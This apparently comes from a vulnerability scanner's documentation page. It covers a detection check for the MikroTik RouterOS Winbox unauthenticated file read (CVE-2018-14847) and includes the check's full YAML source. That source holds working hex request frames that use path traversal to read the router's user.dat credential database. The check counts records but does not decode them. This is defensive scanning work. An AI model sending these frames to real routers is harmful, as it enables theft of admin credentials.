MikroTik — 1 vulnerability check
noctis ships 1 vulnerability check for MikroTik, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
MikroTik RouterOS Winbox unauthenticated file read
| CVE | CVE-2018-14847 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | file-read — File read |
| Services | winbox |
| Ports | 8291 |
| Detection | tcp_open, tcp_send, script, match, tcp_close · highest QoD 75 |
| Feed | tests/vulnerabilities/mikrotik/CVE-2018-14847.yaml |
The MikroTik Winbox service returned the content of /flash/rw/store/user.dat (the RouterOS user database) to an unauthenticated client through a path-traversal "open file" request, confirming CVE-2018-14847.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Parses / computes the next value with a Rhai script
- Sends a binary frame on the open socket
- Parses / computes the next value with a Rhai script
- Checks
dump.usersfor^[1-9][0-9]*$→ finding QoD 75: MikroTik RouterOS Winbox unauthenticated file read (CVE-2018-14847)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-14847
- https://github.com/BasuCert/WinboxPoC
- https://blog.mikrotik.com/security/winbox-vulnerability.html
Feed source — tests/vulnerabilities/mikrotik/CVE-2018-14847.yaml
# MikroTik RouterOS Winbox unauthenticated file read (CVE-2018-14847).
#
# RouterOS 6.29 through 6.42 (and 6.43rc before 6.43rc4) let an unauthenticated
# Winbox client open any file through the file-read handler with a
# path-traversal name, then read it back. The bug was exploited in the wild
# (VPNFilter, Slingshot) to steal /flash/rw/store/user.dat, the user database
# whose passwords are only XOR-obfuscated. CISA KEV.
#
# Ported from OpenVAS/Greenbone NVT
# 2018/mikrotik/gb_mikrotik_router_os_winbox_info_disc_vuln_active.nasl
# (OID 1.3.6.1.4.1.25623.1.0.141279, GPL-2.0-only). Same two frames on one
# persistent socket (Winbox M2 protocol, TCP/8291):
#
# 1. tcp_open — open the Winbox port.
# 2. tcp_send — query1: "open file" for
# /////./..//////./..//////./../flash/rw/store/user.dat
# 3. script — take the session id at byte 38 of the reply (hex 76..77) and
# splice it into query2 at byte 19.
# 4. tcp_send — query2: "read file" on that session.
# 5. script — walk the reply and count user.dat records.
#
# Proof = the reply really carries user.dat content: at least one M2 record
# (after the reply frame's own "M2" header) holding both the username key
# (01 00 00 21) and the encrypted-password key (11 00 00 21) — the exact
# markers the NASL and WinboxPoC parse. This is a real exploitation of the
# file-read primitive, read-only. The credentials themselves are NEVER
# decoded or put in the evidence: only the record count and reply length.
#
# Compared with the NASL (same proof: a record with both markers):
# - the reply to query1 must be a Winbox M2 frame before anything is spliced;
# - Winbox chunk headers (every 255 bytes) are removed before parsing, so a
# marker split across a chunk boundary is not missed (the NASL and
# WinboxPoC parse the raw bytes);
# - markers only match byte-aligned, and the reply is read past the NASL's
# 1024-byte recv() limit, so a large user.dat is not truncated.
# The patched mock answers both frames with an M2 error frame (>= 39 bytes),
# which passes the length / "M2" pre-checks but carries no user record.
#
# Engine note: tcp_send waits at most 500 ms for the first reply byte whatever
# timeout_secs says (#1417); a very slow router can be missed until that is
# fixed. timeout_secs is kept so the steps pick up the fix.
uid: e7726ac3-e544-41aa-bdd0-e21f1732cfff
name: "MikroTik RouterOS Winbox unauthenticated file read (CVE-2018-14847)"
cves: [CVE-2018-14847]
cvss: 9.1
severity: critical
category: file-read
confidence_base: 0.30
tags: [mikrotik, routeros, winbox, file-read, path-traversal, intrusive, kev]
services: [winbox]
ports: [8291] # nmap usually reports Winbox as `unknown`
author: noctis
version: "1.0.0"
description: |
The MikroTik Winbox service returned the content of
/flash/rw/store/user.dat (the RouterOS user database) to an unauthenticated
client through a path-traversal "open file" request, confirming
CVE-2018-14847.
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-14847"
- "https://github.com/BasuCert/WinboxPoC"
- "https://blog.mikrotik.com/security/winbox-vulnerability.html"
steps:
- id: open-winbox
action: tcp_open
handle: winbox
port: "{{port}}"
timeout_secs: 10
store_as: conn
# query1 — M2 "open file" request, verbatim from the NASL.
- id: open-user-dat
action: tcp_send
handle: winbox
condition: "conn.connected == true"
send_hex: "680100664d320500ff010600ff09050700ff090701000021352f2f2f2f2f2e2f2e2e2f2f2f2f2f2f2e2f2e2e2f2f2f2f2f2f2e2f2e2e2f666c6173682f72772f73746f72652f757365722e6461740200ff88020000000000080000000100ff8802000200000002000000"
timeout_secs: 10
store_as: open_reply
# query2 — M2 "read file" request with the session id (byte 38 of the reply
# to query1) spliced in at byte 19, as in the NASL. Needs a >= 39-byte reply
# framed as Winbox M2 ("M2" at byte 4).
- id: build-read
action: script
condition: "open_reply.responded == true"
store_as: read_frame
code: |
let hex = if type_of(open_reply.response_hex) == "string" { tolower(open_reply.response_hex) } else { "" };
if strlen(hex) >= 78 && substr(hex, 8, 11) == "4d32" {
"3b0100394d320500ff010600ff09060100fe09" + substr(hex, 76, 77)
+ "02000008008000000700ff09040200ff88020000000000080000000100ff8802000200000002000000"
} else {
""
}
- id: read-user-dat
action: tcp_send
handle: winbox
condition: "read_frame != \"\""
send_hex: "{{read_frame}}"
timeout_secs: 10
store_as: read_reply
# Count user.dat records in the reply: "M2" record starts (byte-aligned,
# after the frame's own "M2" header at byte 4) whose body holds both the
# username key 01000021 and the password key 11000021.
- id: parse-user-dat
action: script
condition: "read_reply.responded == true"
store_as: dump
code: |
fn aligned_idx(h, needle, from) {
let i = from;
while i < strlen(h) {
let j = stridx(substr(h, i), needle);
if j < 0 { return -1; }
let p = i + j;
if p % 2 == 0 { return p; }
i = p + 1;
}
-1
}
let raw = if type_of(read_reply.response_hex) == "string" { tolower(read_reply.response_hex) } else { "" };
// Undo Winbox chunking first: a frame is [len][0x01] + 255 bytes, then
// [len][0xff] + 255 bytes per further chunk. Dropping those embedded
// 2-byte headers keeps a marker split across a chunk boundary intact.
let hex = substr(raw, 0, 3);
let pos = 4;
while pos < strlen(raw) {
hex += substr(raw, pos, pos + 509);
pos += 514;
}
let users = 0;
if strlen(hex) > 12 && substr(hex, 8, 11) == "4d32" {
let p = aligned_idx(hex, "4d32", 12);
while p >= 0 {
let next = aligned_idx(hex, "4d32", p + 4);
let rec = if next >= 0 { substr(hex, p + 4, next - 1) } else { substr(hex, p + 4) };
if aligned_idx(rec, "01000021", 0) >= 0 && aligned_idx(rec, "11000021", 0) >= 0 {
users += 1;
}
p = next;
}
}
#{ users: users, bytes: strlen(hex) / 2 }
- id: confirm-file-read
action: match
source: dump.users
pattern: "^[1-9][0-9]*$"
condition: "dump.users > 0"
on_match:
finding:
title: "MikroTik RouterOS Winbox unauthenticated file read (CVE-2018-14847)"
description: "The Winbox service (TCP/8291) returned /flash/rw/store/user.dat to an unauthenticated path-traversal file-read request. The file holds every RouterOS user name with a reversibly obfuscated password, so an attacker recovers the admin credentials."
remediation: "Upgrade RouterOS to 6.42.1 or later (6.40.8 long-term), change every user password, and restrict the Winbox service (IP > Services > winbox 'available from') to trusted management addresses."
confidence_delta: 0.55
qod: 75
evidence: "Winbox read of /flash/rw/store/user.dat without authentication: {{dump.users}} user record(s) (username + encrypted-password keys) in a {{dump.bytes}}-byte reply; contents not recorded"
stop: true
- id: close-winbox
action: tcp_close
handle: winbox